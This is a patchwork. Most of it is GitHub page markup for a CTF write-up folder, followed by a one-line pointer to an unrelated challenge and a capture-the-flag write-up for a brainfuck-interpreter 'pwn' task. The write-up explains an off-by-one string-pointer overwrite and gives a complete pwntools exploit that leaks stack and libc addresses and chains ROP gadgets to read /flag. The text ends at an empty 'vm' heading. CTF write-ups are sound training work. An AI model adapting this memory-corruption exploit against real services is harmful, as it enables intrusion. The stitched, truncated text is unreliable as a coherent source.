<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/gr4n173/CTF-WriteUp/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268424549,"originating_url":"https://github.com/gr4n173/CTF-WriteUp/tree/master/Castorsctf/pwn/abc","user_id":null}}" data-hydro-click-hmac="a885907c11cb7ba800a651d2b0f771992643ab63d07d400ba03edc20ddead36f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/gr4n173/CTF-WriteUp/refs" cache-key="v0:1590985854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3I0bjE3My9DVEYtV3JpdGVVcA==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/gr4n173/CTF-WriteUp/refs" cache-key="v0:1590985854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3I0bjE3My9DVEYtV3JpdGVVcA==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-WriteUp</span></span></span><span>/</span><span><span>Castorsctf</span></span><span>/</span><span><span>pwn</span></span><span>/</span>abc<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-WriteUp</span></span></span><span>/</span><span><span>Castorsctf</span></span><span>/</span><span><span>pwn</span></span><span>/</span>abc<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/gr4n173/CTF-WriteUp/tree-commit/9f0199001fc84bb659dd880a0ff160c79abb078c/Castorsctf/pwn/abc" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/gr4n173/CTF-WriteUp/file-list/master/Castorsctf/pwn/abc"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>abcbof</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
Use UAF to leak libc and heap pointers. Then use a FSE to point a real FILE to a fake FILE, which will give code execution when it is closed.
See: https://github.com/ybieri/ctf-writeups/tree/master/pwn2win2020/at_your_command |
include pwn challenge bf, vm, no_write, note,mginx and re challenge cipher
## bf
A brain fuck interpreter written by c++, the structure that program used :
```cppstruct brain_fck{ char data[0x400]; // data string code; // brain fuck code};```
`'>'` op caused `off_by_one` :

The compare condition is `v21 > &v25` not `>=`,so we can read or modify the brain_fck.code's lowbit.
`brain_fck.code` is a string,string class almost look like(Of course, I omitted most of the class ):
```cppclass string{ char* ptr; size_t len; char buf[0x10];}```
string class will put the characters in the buf when string.length() less then 16,it means ptr pointer to itself 's buf; And it will use malloc when the string length large or equal 16.
As we can modify the brain_fck.code's lowbit,it means we can modify brain_fck.code.ptr to arbitrary write and read.
Because the brain_fck.code is in stack in the first, we just make sure that the brain fuck code we input length less then 16 to make the brain_fck.code.ptr point to stack memory instead of heap.
So a basic exploit as follows:
- leak brain_fck.code.ptr's lowbit- leak stack and libc address- modify ret value of main function- hijack it with ROP
exp:
```pythonfrom pwn import *import sys
context.arch = 'amd64'
def write_low_bit(low_bit,offset): p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+offset)) p.recvuntil("your code: ") p.recvuntil("continue?\n") p.send('y') p.recvuntil("enter your code:\n") p.sendline("\x00"*0xf) p.recvuntil("continue?\n") p.send('y')
def main(host,port=6002): global p if host: p = remote(host,port) else: p = process("./bf") # gdb.attach(p) # leak low_bit p.recvuntil("enter your code:\n") p.sendline(",[.>,]>.") p.send("B"*0x3ff+'\x00') p.recvuntil("running....\n") p.recvuntil("B"*0x3ff) low_bit = ord(p.recv(1)) info(hex(low_bit)) if low_bit + 0x70 >= 0x100: # :( sys.exit(0) # debug(0x000000000001C47) p.recvuntil("continue?\n") p.send('y') # leak stack p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+0x20)) p.recvuntil("your code: ") stack = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xd8 info("stack : " + hex(stack)) p.recvuntil("continue?\n") p.send('y') # leak libc p.recvuntil("enter your code:\n") p.sendline(",[>,]>,") p.recvuntil("running....\n") p.send("B"*0x3ff+'\x00') p.send(chr(low_bit+0x38)) p.recvuntil("your code: ") libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0x21b97 info("libc : " + hex(libc.address)) p.recvuntil("continue?\n") p.send('y') # do rop # 0x00000000000a17e0: pop rdi; ret; # 0x00000000001306d9: pop rdx; pop rsi; ret; p_rdi = 0x00000000000a17e0 + libc.address p_rdx_rsi = 0x00000000001306d9 + libc.address ret = 0x00000000000d3d8a + libc.address p_rax = 0x00000000000439c8 + libc.address syscall_ret = 0x00000000000d2975 + libc.address rop_chain = [ 0,0,p_rdi,0,p_rdx_rsi,0x100,stack,libc.symbols["read"] ] rop_chain_len = len(rop_chain) for i in range(rop_chain_len-1,0,-1): write_low_bit(low_bit,0x57-8*(rop_chain_len-1-i)) p.recvuntil("enter your code:\n") p.sendline('\x00'+p64(rop_chain[i-1])+p64(rop_chain[i])[:6]) p.recvuntil("continue?\n") p.send('y') write_low_bit(low_bit,0) p.recvuntil("enter your code:\n") p.sendline('') p.recvuntil("continue?\n") p.send('n') payload = "/flag".ljust(0x30,'\x00') payload += flat([ p_rax,2,p_rdi,stack,p_rdx_rsi,0,0,syscall_ret, p_rdi,3,p_rdx_rsi,0x80,stack+0x200,p_rax,0,syscall_ret, p_rax,1,p_rdi,1,syscall_ret ]) p.send(payload.ljust(0x100,'\x00')) p.interactive() if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) # elf = ELF("./bf",checksec=False) main(args['REMOTE'])
```
## vm
